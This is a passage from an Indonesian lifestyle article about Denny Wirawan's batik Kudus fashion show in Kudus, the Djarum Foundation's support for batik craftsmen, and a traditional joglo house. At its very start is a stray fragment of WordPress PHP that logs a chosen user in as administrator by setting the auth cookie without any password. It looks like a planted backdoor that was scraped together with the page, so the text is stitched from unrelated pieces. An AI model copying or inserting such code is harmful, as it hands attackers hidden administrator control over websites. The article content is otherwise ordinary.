user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Sandyakala Smara, Melihat Batik Kudus Dari Tempatnya Bermula

11 Sep 2023


Dok. BBDF
 
Bayangkan ini. Temaram senja, angin semilir, 250-an tetamu berkebaya encim dan cheongsam duduk nyaman menghadap 3 bangunan rumah joglo Pencu asli Kudus nan megah. Udara kota Kudus begitu cerah. Pikiran pun melayang tahun 30-an hingga 70-an saat batik Kudus yang
menggambarkan akulturasi 3 budaya: Arab, Eropa, Cina menjadi komoditas yang ramai diperdagangkan disamping kretek. Mari kita lihat pada senja penuh cinta di Senin 6 September itu apa saja yang dipersembahkan desainer kenamaan Denny Wirawan untuk kecintaannya pada batik Kudus.

 

Dok. PSF
 
Akulturasi Tiga Budaya Menciptakan Keindahan

Pergelaran dibuka dengan monolog seniman Happy Salma tentang perubahan dan keindahan tradisi. Sejatinya kita tidak bisa menolak perubahan namun tradisi tetap bisa liat dan luwes mengikuti perubahan jaman. Manusia modern perlu tetap memegang tradisi, agar kehidupan tidak kehilangan akarnya. Sebuah pengingat yang indah.

"Aku menulis sendiri monolog ini," kata Happy berbinar-binar seusai acara. Tidak heran, ia nampak menghayati kalimat-kalimat indah yang terucap lantang mengalun tanpa jeda itu. Dan yang mendengar juga seperti diberi jeda sejenak untuk memaknai setiap kalimat yang terucap.

Tradisi dan budaya yang disebut-sebut itu adalah batik Kudus. salah satu jenis batik yang berkembang di kota pesisir penghasil kretek ini. Batik Kudus dalah batik peranakan dengan kekhasan motif flora dan fauna dan berwarna pastel manis itu sudah dikenal sejak abad ke-16 seiring pencampuran 3 budaya asing memberi warna pada daerah ini: Arab, Cina dan Eropa. Batik Kudus mencapai masa keemasannya antara tahun 1935 hingga era 70-an, ketika kaum kelas menengah ke atas di wilayah ini menggunakan batik tulis Kudus yang halus sebagai busana sehari-hari. Para perajin dan pedagang batik disibukkan dengan proses produksi dan perdagangan yang ramai.

Maka yang tampil pada pergelaran busana tiga segmen sore ini adalah eksplorasi dan interpretasi terbaru dari Denny Wirawan pada motif-motif batik Kudus yang belum dieksplorasi sebelumnya selama 8 tahun kolaborasi Bakti Budaya Djarum Foundation (BBDF) dan perancang kenamaan ini. Termasuk batik Kudus yang dipadankan dengan kebaya encim dan atasan ala Cheongsam yang sebagai busana populer di era tahun 30-an hingga 50-an.

 

Dok.BBDF
 
Kreasi ini ditampilkan di segmen pertama yang mendapat tepuk tangan riuh para tamu yang mayoritas wanita ini. Bisik-bisik di kiri-kanan tentang indahnya warna dan motif batik kudus yang melintas di hadapan mereka. "Para perajin senang sekali karena batik-batik halus mereka
terjual habis setelah tersimpan selama pandemi," ungkap Renita Adrian, Direktur Program BBDF, haru, sesuai acara. Memang ada gerai-gerai batik binaan BBDF disiapkan di areal para tamu menginap untuk memuaskan hasrat berbelanja.
 


Dok. BBDF

Advertisement
Pada segmen ke dua, kita bisa melihat batik Kudus dikreasikan menjadi busana modern siap pakai. Ada banyak motif yang dibuat lebih besar memenuhi seluruh bagian busana. Dan ini menarik, tampak modern dan kini. Ciri khas embellishment dari Denny membuat mewah busana-busana batik warna-warni itu. Gaun terusan, baju luaran, hingga celana palazzo berpinggang tinggi ala 70an yang tampak edgy karena permainan motif besar-besar itu.

 

Dok. BBDF
 
Pada segmen ketiga yang tampil adalah busana-busana megah dan eksperimental. Sebagian mengambil siluet busana tradisional Cina dengan tangan bersayap. "Saya membayangkan opera," ungkap Denny yang berkolaborasi dengan perancang perhiasan Epa Jewel untuk menyempurnakan tampilan kreasinya. Ketika di akhir acara para model berparade tepat di selasar rumah joglo itu, memang lama dan kini yang ingin dicoba dihadirkan secara harmonis, bisa tampak amat estetis dan megah.

Upaya Kebangkitan Ekonomi

Bicara tentang industri batik Kudus, perlu kita ketahui di era 80-an batik Kudus mengalami kemunduran ditandai dengan semakin menurunnya jumlah pengrajin secara drastis akibat kemunculan batik printing yang proses pembuatan dan harganya lebih murah. Para perajin batik Kudus gulung tikar karena tidak mampu beradaptasi.

Setelah era ini, Kudus menjadi besar dengan industri kreteknya dengan hampir 90 persen masyarakat di wilayah ini bekerja di sentra industri ini. Namun seperti diketahui. kretek saat ini adalah sunset industry seiring dengan kesadaran masyarakat yang meningkat di sektor kesehatan. Melihat situasi ini, sejak 2010, BBDF melakukan program pembinaan untuk para pengrajin dan menghidupkan kembali para pengrajin yang telah beralih profesi, serta memupuk generasi baru penerus kerajinan batik Kudus. Menurut Renita, kini ada sekitar puluhan perajin di kota tersebut yang rutin berproduksi termasuk membuat batik tulis kelas satu yang dibandrol dengan harga sekitar 20-an juta itu.

 

Dok. BBDF
 
Di tahun 2015, BBDF mulai berkolaborasi dengan desainer Denny Wirawan untuk mengangkat batik udus dengan sentuhan unik dan inovatif. Brand Bali Java yang dikhususkan mengeksplorasi kain nusantara menjadi salah satu mediumnya untuk memperkenalkan batik asal Kudus ini. Pergelaran tahunan dengan tema-tema khas seperti Pasar Malam, Padma, Wedari dan tahun ini Sandyakala Smara adalah presentasi puncaknya.

Pagelaran busana mengambil lokasi di Rumah Adat Kudus Yasa Amrta sekaligus menjadi momen peresmiannya. (Tempat ini dapat dikunjungi dengan perjanjian terlebih dahulu). Yasa Amrta yang diambil dari bahasa Sansekerta memiliki makna kemuliaan abadi. Rumah adat Kudus Joglo Pencu merupakan rumah tradisional berusia ratusan tahun. Kontruksi bangunannya tanpa paku, hanya diikat dengan semacam pasak tak ubahnya rumah lego. Bangunan Joglo Pencu menampilkan dominasi ukiran-ukiran dekoratif yang sangat rapat dan indah. Setiap lekuk dan bentuk sarat dengan makna filosofis yang mendalam.

Membawa 250-an tamu berbagai kalangan dari Jakarta ke kota ini membuat ekonomi kota menggelia. Tak hanya membicarakan rumah joglo, namun makanan khas seperti soto dan garang asem, oleh-oleh, batik semua diserbu para tamu. "Setelah ini semoga Kudus juga bisa menjadi destinasi wisata baru yang menarik di Indonesia," kata Renita. (f)


Baca juga:
Ria Miranda Gelar Minang Dekade Legacy Onward, Rayakan 10 Tahun Koleksi Minang Heritage
Terus Berekspansi, TULOLA Jewelry Membuka Toko Terbaru di Surabaya
Pesta Wastra Nusantara, Jogja Fashion Week 2022


Petty S. Fatimah


Topic

#FeminaIndonesia, #Trending

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?